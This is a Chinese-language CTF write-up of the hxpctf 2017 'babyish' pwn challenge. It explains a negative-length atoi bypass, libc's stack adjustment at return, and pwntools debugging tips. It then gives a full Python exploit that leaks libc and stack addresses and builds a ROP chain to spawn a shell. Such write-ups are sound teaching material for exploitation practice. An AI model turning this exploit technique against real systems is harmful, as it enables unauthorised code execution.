hxpctf2017-babyish

pwntools使用技巧以及較新版本32位libc下的ROP

hxpctf 2017 pwn100 babyish

題目比較簡單,但是學(xué)到了幾個(gè)知識(shí)點(diǎn),記錄一下。

簡要分析

main.png
  • checksec

      vccxx1337@vccxx1337-PC:~/Desktop/ctfgame/hxpctf/babyish$ checksec vuln
      [*] '/home/vccxx1337/Desktop/ctfgame/hxpctf/babyish/vuln'
              Arch:     i386-32-little
              RELRO:    Partial RELRO
              Stack:    No canary found
              NX:       NX enabled
              PIE:      No PIE (0x8048000)
    

    開了棧不可執(zhí)行,所以用棧溢出來執(zhí)行shellcode沒戲;
    審查函數(shù)代碼,發(fā)現(xiàn)greet函數(shù)中可以泄露棧中信息,動(dòng)態(tài)調(diào)試發(fā)現(xiàn)棧上有一個(gè)libc地址可以泄露,因此考慮ROP

  • atoi

    之前一直沒做出來就是卡在不知道怎么溢出。。多謝USTC的dalao指導(dǎo)

    main函數(shù)中調(diào)用的num()函數(shù)讀入我們的輸入input,返回atoi(input)的值給main函數(shù)的局部變量len,之后將len和63比較,限制len小于63。

    如果輸入一個(gè)正數(shù)是無法溢出的,因?yàn)閘en作為后面read的參數(shù)限制了你的輸入長度。但是如果我們輸入一個(gè)負(fù)數(shù)比如-1,則可以通過這一限制,而-1在內(nèi)存中存的是補(bǔ)碼0xFFFFFFFF,這個(gè)數(shù)作為read的參數(shù),就允許我們覆蓋任意長的堆棧數(shù)據(jù)。

  • libc 的堆棧調(diào)整機(jī)制

adjustStack.png

觀察main函數(shù)發(fā)現(xiàn)這個(gè)main函數(shù)的返回和之前見過的的main函數(shù)返回不太一樣:

以前見過的返回普遍是直接esp-0x??然后就ret了
這個(gè)程序的main函數(shù)返回使用棧上存儲(chǔ)的數(shù)據(jù)來調(diào)整ret之前的esp的值,也就是說,如果直接ROP,我們的junk數(shù)據(jù)中必須在ebp-0x0c這個(gè)地方布置一個(gè)棧地址,這個(gè)棧地址必須在我們可覆蓋的范圍內(nèi)(也就是大于main函數(shù)中buf的地址)。

這樣的調(diào)整機(jī)制在較新的libc中都有(這題的libc版本是2.24),這種機(jī)制的好處在于要求攻擊者在rop時(shí)還泄露一個(gè)棧地址,提高了攻擊難度。

很巧的是之前泄露libc地址的時(shí)候棧中就有一個(gè)符合上述條件的棧地址,因此通過在棧上布置好需要的數(shù)據(jù),就可以開心的ROP啦。

顯示libc信息的技巧

只需要

sudo chmod +x libc.so.6
./libc.so.6

即可。

libc_info.png

pwntools技巧

看了dalao的pwn腳本學(xué)到了pwntools的使用姿勢:

  • env參數(shù)

      io = process("./vuln",env={'LD_PRELOAD':'./libc.so.6'}) 
    

    通過在process后面加參數(shù)env來指定程序使用的libc,這樣就可以讓程序運(yùn)行在遠(yuǎn)程靶機(jī)上大致一樣的環(huán)境下。對給了libc的題來說,再也不用先用自己的libc調(diào)試,成功后再轉(zhuǎn)換為遠(yuǎn)程libc的地址了。

  • 直接從libc中加載符號(hào)偏移

      libc = ELF("./libc.so.6")
      setbuffer_symbol = libc.symbols["setbuffer"]
      system_symbol = libc.symbols["system"]
    
  • gdb調(diào)試腳本

    調(diào)payload的時(shí)候以前總是要一步步運(yùn)行腳本到發(fā)送payload前的語句,現(xiàn)在只需要在發(fā)送payload前加上這一句:

      gdb.attach(io)
    

    將會(huì)等待gdb的attach,加上pid的顯示會(huì)更方便些

      pid = proc.pidof(io)
      print pid
      gdb.attach(io)  
    
  • 設(shè)置輸出調(diào)試信息

      context.log_level='debug'
    

    加上這句之后,pwntools的返回信息更加直觀詳細(xì):

debugInfo.png

攻擊腳本

from pwn import *
import time

#設(shè)置pwntools
io = process("./vuln",env={'LD_PRELOAD':'./libc.so.6'})
libc = ELF("./libc.so.6")
context.log_level='debug'
#io =remote('35.198.98.140',45067)

#獲取所給libc的符號(hào)偏移
setbuffer_symbol = libc.symbols["setbuffer"]
system_symbol = libc.symbols["system"]

#泄露內(nèi)存中棧地址和libc地址
io.recv()
io.send("1"*16)
io.recvuntil("1"*16)
data = io.recv()[:12]
setbuff_addr = int(data[-4:][::-1].encode("hex"),16) - 0xB
stack_addr = int(data[0:4][::-1].encode("hex"),16)
system_addr =  system_symbol - setbuffer_symbol + setbuff_addr
binsh_symbol = 0x0015CD48
binsh_addr = binsh_symbol - system_symbol + system_addr
print "[+] leaked setbuff addr :" + hex(setbuff_addr)
print "[+] calced system_addr :" +hex(system_addr)
print "[+] leaked stack addr:" + hex(stack_addr)
print "[+] calced binsh addr:" + hex(binsh_addr)

#發(fā)送ROP鏈
sleep(3)
io.sendline("-1")
payload = "j"*0x50 + p32(stack_addr) + 3*"junk"+p32(system_addr) + p32(0x080486EF) + p32(binsh_addr)
pid = proc.pidof(io)[0]
print pid
gdb.attach(io)
io.send(payload)
io.interactive()

注意時(shí)延問題。。。直接連遠(yuǎn)程的是后我是用ipython一行一行運(yùn)行腳本才拿到的shell,修改sleep的秒數(shù)有時(shí)候好使。

flag.png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容